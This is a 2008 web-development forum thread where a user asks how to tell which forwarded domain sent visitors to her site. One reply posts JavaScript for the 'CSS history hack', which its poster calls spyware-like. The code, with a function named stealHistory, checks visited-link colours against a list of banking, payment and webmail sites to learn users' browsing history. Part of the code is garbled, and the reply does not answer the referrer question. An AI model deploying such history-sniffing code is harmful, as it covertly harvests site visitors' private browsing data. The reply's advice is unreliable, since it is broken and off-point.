 |
|
|
| View previous topic :: View next topic |
| Author |
Message |
azalea206
Joined: 29 Sep 2008 Posts: 12
|
Posted: Mon Sep 29, 2008 9:04 pm How can I tell in HTML what url was forwarded to mine? |
|
|
|
| [/b]Godaddy set up forwarding of sites to my site. How can I code my site to tell what the original url was? Sorry it posted twice - I thought I was editing and accidentally posted twice. I'm new! What can I say? |
|
Corey Bryant Site Admin

Joined: 15 May 2004 Posts: 8312 Location: Castle Pines North, CO USA
|
|
azalea206
Joined: 29 Sep 2008 Posts: 12
|
Posted: Fri Oct 03, 2008 11:04 am stats don't work and need to know the php code |
|
|
|
THANKS COREY!
STATS ON GOOGLE DOESN'T SHOW IT BECAUSE THE SITE'S dns IS CHANGED TO FORWARD TO MY SITE.
I NEED THE PHP CODE, IF THERE IS ANY TO SEE "FORWARDED REFEREL"
| Corey Bryant wrote: |
| You can take a look at your stats to see what the referring URL was. Otherwise you need a server side language (PHP / ASP / .NET) to read the URL. |
|
|
Newbie101

Joined: 09 Oct 2008 Posts: 35
|
Posted: Tue Oct 14, 2008 10:22 am css history hack |
|
|
|
im responding to this because I've seen another solution recently.
It was search "Jeremiah Grossman:" css history hack
Whenever you click a link it changes colour.
This code generally enters a possible URL looks at the links colour to see if you have been there. It is meant to be used as a spyware type thing to see if your user frequents any variety of well know sites. If you know they use ebay You can direct them somewhere specific within your site, etc.
anyways. I just saw it so I'll show the code thats there as well. Unsure if it will help
| Code: |
| var agent = navigator.userAgent.toLowerCase();var is_mozilla = (agent.indexOf("mozilla") != -1);// popular websites. Lookup if user has visited any.var websites = [ "http://ajaxian.com/", "http://digg.com/", "http://english.aljazeera.net/HomePage", "http://ha.ckers.org", "http://ha.ckers.org/blog/", "http://jeremiahgrossman.blogspot.com/", "http://login.yahoo.com/", "http://mail.google.com/", "http://mail.yahoo.com/", "http://my.yahoo.com/", "http://reddit.com/", "http://seoblackhat.com", "http://slashdot.org/", "http://techfoolery.com/", "http://weblogs.asp.net/jezell/", "http://www.amazon.com/", "http://www.aol.com/", "http://www.bankofamerica.com/", "http://www.bankone.com/", "http://www.blackhat.com/", "http://www.blogger.com/", "http://www.bloglines.com/", "http://www.bofa.com/", "http://www.capitalone.com/", "http://www.cenzic.com", "http://www.cgisecurity.com", "http://www.chase.com/", "http://www.citibank.com/", "http://www.cnn.com/", "http://www.comerica.com/", "http://www.e-gold.com/", "http://www.ebay.com/", "http://www.etrade.com/", "http://www.expedia.com/", "http://www.google.com/", "http://www.hsbc.com/", "http://www.icq.com/", "http://www.jailbabes.com", "http://www.microsoft.com/", "http://www.msn.com/", "http://www.myspace.com/", "http://www.ntobjectives.com", "http://www.passport.net/", "http://www.paypal.com/", "http://www.sourceforge.net/", "http://www.spidynamics.com", "http://www.statefarm.com/", "http://www.usbank.com/", "http://www.wachovia.com/", "http://www.wamu.com/", "http://www.watchfire.com", "http://www.webappsec.org", "http://www.wellsfargo.com/", "http://www.whitehatsec.com", "http://www.xanga.com/", "http://www.yahoo.com/", "http://seoblackhat.com/", "http://www.alexa.com/", "http://www.youtube.com/", "https://banking.wellsfargo.com/", "https://commerce.blackhat.com/", "https://online.wellsfargo.com/",];/* prevent multiple XSS loads */if (! document.getElementById('xss_flag')) { var d = document.createElement('div'); d.id = 'xss_flag'; document.body.appendChild(d); var d = document.createElement('table'); d.border = 0; d.cellpadding = 5; d.cellspacing = 10; d.width = '90%'; d.align = 'center'; d.id = 'data'; document.body.appendChild(d); document.write(''); for (var i = 0; i <>'); /* launch steal history */if (is_mozilla) { stealHistory();}}function stealHistory() { // loop through websites and check which ones have been visited for (var i = 0; i < websites.length; i++) { var link = document.createElement("a"); link.id = "id" + i; link.href = websites[i]; link.innerHTML = websites[i]; document.body.appendChild(link); var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color"); document.body.removeChild(link); // check for visited if (color == "rgb(0, 0, 255)") { document.write('' + websites[i] + ''); } // end visited check } // end visited website loop} // end stealHistory method |
type thing.... |
|
azalea206
Joined: 29 Sep 2008 Posts: 12
|
Posted: Sat Oct 25, 2008 8:40 pm |
|
|
|
| COOL. THANKS! HERE'S MY DELIMA. I BOUGHT SOME SITE, SAY SITE A AND B. THEY POINT TO SITE C. IN THE PROGRAM OF SITE C I WANT TO COUNT HOW MANY USERS CAME FROM SITES A AND B AND SOMEHOW SEE THE COUNTER. |
|
|
|
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
|
|
|
|